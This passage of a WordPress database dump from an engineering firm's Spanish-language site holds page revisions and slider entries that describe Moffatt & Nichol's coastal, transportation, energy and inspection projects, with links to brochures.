mundo. Si bien las firmas medioambientales tradicionales</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n              \n            <div class=\"brochure-last\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n        </div>\n        <div class=\"brochure-wrapper-ports\">\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \n        </div>\n         </div>\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','51-revision','','','2011-10-18 11:25:18','2011-10-18 11:25:18','',51,'http://moffattnichol.com/spanish/51-revision/',0,'revision','',0),(2308,1,'2012-05-17 11:44:54','2012-05-17 11:44:54','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseÃ±o para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en NorteamÃ©rica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\r\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','51-revision-2','','','2012-05-17 11:44:54','2012-05-17 11:44:54','',51,'http://moffattnichol.com/spanish/51-revision-2/',0,'revision','',0),(2309,1,'2012-05-17 12:03:42','2012-05-17 12:03:42','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Corredor Alameda</div>\r\n<div class=\"gallary-text\">Como miembro de la empresa conjunta Alameda Corridor Engineering Team, Moffatt & Nichol prestó servicios de planeamiento, ingeniería y gestión del programa para el proyecto Corredor Alameda de $2400 millones, desde su creación en 1990 hasta el inicio de las operaciones y su servicio comercial en 2002.</div>\r\n</div>','Transportation one ','','publish','closed','closed','','transportation-one','','','2012-08-29 11:20:07','2012-08-29 11:20:07','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2309',1,'anything_slides','',0),(2310,1,'2012-05-17 12:04:54','2012-05-17 12:04:54','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Centro de transferencia de contenedores intermodal Chatham Yard</div>\r\n<div class=\"gallary-text\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt & Nichol completó el planeamiento, diseño, gestión de autorizaciones y gestión de la construcción de un nuevo y estratégico Centro de transferencia de contenedores intermodal en la terminal de Garden City en Savannah, Georgia.</div>\r\n</div>','Transportation two','','publish','closed','closed','','transportation-two','','','2012-08-29 11:20:09','2012-08-29 11:20:09','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2310',2,'anything_slides','',0),(2311,1,'2012-05-17 12:06:00','2012-05-17 12:06:00','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-three.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Hawaii Superferry</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol se encargó de la gerencia del proyecto, revisión técnica y servicios de diseño para el desarrollo del servicio del Hawaii Superferry, que incluyó cuatro nuevas terminales de transbordador ubicadas en instalaciones portuarias estatales en Oahu, Kauai, Maui y la Isla Grande de Hawai.</div>\r\n</div>','Transportation three','','publish','closed','closed','','transportation-three','','','2012-08-29 11:20:12','2012-08-29 11:20:12','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2311',3,'anything_slides','',0),(2312,1,'2012-05-17 12:07:12','2012-05-17 12:07:12','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-four.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Corredor Heartland</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol desempeñó un papel fundamental en recabar financiamiento y apoyo para el Corredor Heartland, una empresa público–privada con el fin de aumentar la capacidad de carga y reducir el tiempo de tránsito entre el puerto de Virginia y los mercados del medio oeste.</div>\r\n</div>','Transportation four','','publish','closed','closed','','transportation-four','','','2012-08-29 11:20:14','2012-08-29 11:20:14','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2312',4,'anything_slides','',0),(2313,1,'2012-05-17 12:08:26','2012-05-17 12:08:26','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-five.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Reemplazo del tramo este del puente de la Bahía Oakland de San Francisco</div>\r\n<div class=\"gallary-text\">Como parte de una empresa conjunta, Moffatt & Nichol prestó servicios de diseño de ingeniería y de gerencia del proyecto para el reemplazo del tramo este de la vía paralela de doble segmento de 3,5 km de longitud del puente de la bahía de Oakland, San Francisco, que conecta la isla Yerba Buena y Oakland.</div>\r\n</div>','Transportion five','','publish','closed','closed','','transportion-five','','','2012-08-29 11:20:15','2012-08-29 11:20:15','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2313',5,'anything_slides','',0),(2314,1,'2012-05-17 12:31:26','2012-05-17 12:31:26','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Servicios de ingeniería del puerto deportivo Huishan North Bund</div>\r\n<div class=\"gallary-text\">Como miembro principal del equipo de diseño de Huishan North Bund, Moffatt & Nichol aportó el diseño esquemático para dos sistemas de estanques y esclusas así como el diseño de concepto para el atraque de buques recreacionales a lo largo del río afuera de las esclusas del puerto deportivo.</div>\r\n</div>','Urban one','','publish','closed','closed','','urban-one','','','2012-08-29 11:23:44','2012-08-29 11:23:44','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2314',1,'anything_slides','',0),(2315,1,'2012-05-17 12:32:30','2012-05-17 12:32:30','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-two.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Puerto deportivo del mercado público de la isla Granville</div>\r\n<div class=\"gallary-text\">Para revitalizar el puerto del mercado público de la isla Granville, ubicado en uno de los principales destinos turísticos de Vancouver, Moffatt & Nichol realizó un estudio de concepto, apoyo para la aplicación de los reglamentos, diseño detallado, servicios de licitación y gestión de la construcción para reemplazar y mejorar las instalaciones, que tenían 30 años de antigüedad.</div>\r\n</div>','Urban two','','publish','closed','closed','','urban-two','','','2012-08-29 11:23:46','2012-08-29 11:23:46','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2315',2,'anything_slides','',0),(2316,1,'2012-05-17 12:33:35','2012-05-17 12:33:35','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-three.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Puerto Deportivo Cabrillo Way</div>\r\n<div class=\"gallary-text\">El Puerto Deportivo Cabrillo Way proporciona un frente costero unificado y continuo dentro del área de desarrollo del canal oeste del Puerto de Los Ángeles. Moffatt & Nichol se encargó del aspecto de planes, especificaciones y estimados durante la Fase I del desarrollo y actualmente proporciona servicios de apoyo durante la Fase II.</div>\r\n</div>','Urban three','','publish','closed','closed','','urban-three','','','2012-08-29 11:23:48','2012-08-29 11:23:48','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2316',3,'anything_slides','',0),(2317,1,'2012-05-17 12:34:28','2012-05-17 12:34:28','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Diseño de la ribera sur del Lago Unión</div>\r\n<div class=\"gallary-text\">Como parte de un equipo multidisciplinario, Moffatt & Nichol proporcionó el diseño de ingeniería estructural y costera, además de servicios de apoyo de construcción para las instalaciones de frente costero en este parque de 5 hectáreas a lo largo de la ribera sur del lago Unión en Seattle, Washington.</div>\r\n</div>','Urban four','','publish','closed','closed','','urban-four','','','2012-08-29 11:23:49','2012-08-29 11:23:49','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2317',4,'anything_slides','',0),(2318,1,'2012-05-17 12:35:37','2012-05-17 12:35:37','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-five.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">North Shore Riverfront Park</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol prestó servicios de inspección, planeamiento, diseño, preparación de la documentación de construcción y servicios de vigilancia de la construcción para las estructuras del frente costero en North Shore Riverfront Park, en el centro de la ciudad de Pittsburgh, Pensilvania, incluyendo un paseo ribereño con paso elevado sobre el agua que se prolonga hacia el río.</div>\r\n</div>','Urban five','','publish','closed','closed','','urban-five','','','2012-08-29 11:23:52','2012-08-29 11:23:52','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2318',5,'anything_slides','',0),(2319,1,'2012-05-17 12:38:50','2012-05-17 12:38:50','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Terminal marítima de GNL Sabine Pass</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol aportó el diseño de ingeniería marítima EPC (Ingeniería, adquisición y construcción) para la terminal marítima de gas natural licuado Sabine Pass en la vía navegable Sabine, aproximadamente a 8 km de distancia del Golfo de México. La terminal cuenta con dos atracaderos de descarga, caballetes, pasarela de acceso, torre de vigilancia contra incendios y escollera de ribera.</div>\r\n</div> ','Energy','','publish','closed','closed','','energy','','','2012-08-29 11:26:54','2012-08-29 11:26:54','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2319',1,'anything_slides','',0),(2320,1,'2012-05-17 12:40:03','2012-05-17 12:40:03','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Terminal Kitimat de gas natural licuado</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar y el diseño detallado para las obras marítimas de una nueva terminal de exportación de gas natural licuado que debía dejar una mínima huella ecológica en el sensible hábitat acuático del lugar.</div>\r\n</div> ','Energy two','','publish','closed','closed','','energy-two','','','2012-08-29 11:26:56','2012-08-29 11:26:56','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2320',2,'anything_slides','',0),(2321,1,'2012-05-17 12:41:04','2012-05-17 12:41:04','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/energy/energy-three.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Dársena larga para Chevron en Richmond</div>\r\n<div class=\"gallary-text\">Según diferentes contratos, Moffatt & Nichol ha proporcionado servicios de inspección y análisis de estado, análisis de carga sísmica y actualizaciones, auditoría MOTEMS, análisis de amarres en dominiotemporal para operaciones de lanchaje, y apoyo para la reparación y rehabilitación para la dársena larga de Chevron en Richmond, California.</div>\r\n</div> ','Energy three','','publish','closed','closed','','energy-three','','','2012-08-29 11:27:07','2012-08-29 11:27:07','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2321',3,'anything_slides','',0),(2322,1,'2012-05-17 12:42:08','2012-05-17 12:42:08','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-four.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Almacenamiento de energía de aire comprimido del océano</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol se asoció con General Compression, Inc. para desarrollar un sistema que proporcione almacenamiento seguro y económico de aire comprimido en estructuras artificiales instaladas en el lecho marino, cerca de ubicaciones costeras en donde no existen posibilidades naturales de almacenamiento.</div>\r\n</div> ','Energy four','','publish','closed','closed','','energy-four','','','2012-08-29 11:27:10','2012-08-29 11:27:10','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2322',4,'anything_slides','',0),(2323,1,'2012-05-17 12:49:11','2012-05-17 12:49:11','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Inspección de instalaciones de frente costero del astillero naval Puget Sound</div>\r\n<div class=\"gallary-text\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con el Centro de servicio NAVFAC, Moffatt & Nichol prestó servicios de inspección de instalaciones de frentes costeros para 29 tipos diferentes de estructuras en el astillero naval Puget Sound en Bremerton, Washington, incluyendo escolleras, dársenas, muelles, muros de retención, sistemas de defensa y diques secos.</div>\r\n</div> ','Inspection one','','publish','closed','closed','','inspection-one','','','2012-08-29 11:32:01','2012-08-29 11:32:01','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2323',1,'anything_slides','',0),(2324,1,'2012-05-17 12:50:23','2012-05-17 12:50:23','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-two.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Inspección de instalaciones del frente costero de la terminal de contenedores<br /> Red Hook</div>\r\n<div class=\"gallary-text\">En nombre de la Autoridad Portuaria de Nueva York y Nueva Jersey, Moffatt & Nichol realizó un estudio de la condición cíclica de los elementos por encima y por debajo del agua de la dársena y los muros de retención de la terminal de contenedores Red Hook en Brooklyn, Nueva York.</div>\r\n</div> ','Inspection two','','publish','closed','closed','','inspection-two','','','2012-09-03 06:58:41','2012-09-03 06:58:41','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2324',2,'anything_slides','',0),(2325,1,'2012-05-17 12:52:02','2012-05-17 12:52:02','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-one.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Inspección de instalaciones del frente costero de la dársena Victor</div>\r\n<div class=\"gallary-text\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con NAVFAC Pacífico, Moffatt & Nichol prestó servicios de inspección de la instalación del frente costero a nivel de diseño para más de 1100 metros lineales de muros de retención de tablestacas de acero en la dársena Victor en el puerto Apra en la Base Naval Guam.</div>\r\n</div> \r\n','Inspection three','','publish','closed','closed','','inspection-three','','','2012-08-29 11:32:15','2012-08-29 11:32:15','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2325',3,'anything_slides','',0),(2326,1,'2012-05-17 12:53:32','2012-05-17 12:53:32','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Rehabilitación del antiguo muelle 11A de la Marina</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol colaboró con el Puerto Unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego, California, mediante la realización de inspecciones sobre y debajo del nivel acuático, analizando las opciones de rehabilitación y proporcionando los planes, las especificaciones y los estimados para las reparaciones recomendadas.\r\n</div>\r\n</div> ','Inspection four','','publish','closed','closed','','inspection-four','','','2012-08-29 11:32:22','2012-08-29 11:32:22','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2326',4,'anything_slides','',0),(2327,1,'2012-05-17 12:55:51','2012-05-17 12:55:51','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-five.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Conversión de sitio de atraque Lima</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol trabajó como consultor principal de arquitectura e ingeniería para este importante proyecto de diseño-licitación-construcción para modernizar la dársena en NAS North Island en San Diego, California, a fin de prestar apoyo al puerto base del portaaviones nuclear USS Carl Vinson.\r\n</div>\r\n</div> ','Inspection five','','publish','closed','closed','','inspection-five','','','2012-08-29 11:32:26','2012-08-29 11:32:26','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2327',5,'anything_slides','',0),(2328,1,'2011-10-18 11:31:50','2011-10-18 11:31:50','<div class=\"content_faq\"> [vslider name=\"transportation\"]\n  <div class=\"ports-left\">\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancÃas y de transporte, tanto dentro como mÃ¡s allÃ¡ del campo tradicional del transporte, la prÃ¡ctica de Moffatt & Nichol reÃºne los conocimientos de ingenierÃa civil y estructural de la firma con nuestra singular comprensiÃ³n de la infraestructura del movimiento de mercancÃas. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseÃ±o para todos los aspectos de calzadas, carreteras, vÃas fÃ©rreas y puentes, asÃ como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades tÃ©cnicas son incrementadas por nuestras capacidades de economÃa del transporte, que incluyen anÃ¡lisis del financiamiento y de la obtenciÃ³n de fondos, estudios de mercado y pronÃ³stico de la carga terrestre y de contenedores. Aportamos creatividad e innovaciÃ³n a cada misiÃ³n y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga mÃ¡s transitados asÃ como los puentes con mayor trÃ¡fico en el mundo.\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstÃ¡culos fÃsicos, los puentes son un componente bÃ¡sico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingenierÃa estructural para el planeamiento y el diseÃ±o de una amplia gama de puentes. \n    \n  \n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo econÃ³mico, asÃ como la tendencia hacia el tren suburbano como mÃ©todo mÃ¡s sostenible de transporte. Moffatt & Nichol proporciona un conocimiento tÃ©cnico especializado en el estudio y diseÃ±o en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingenierÃa para 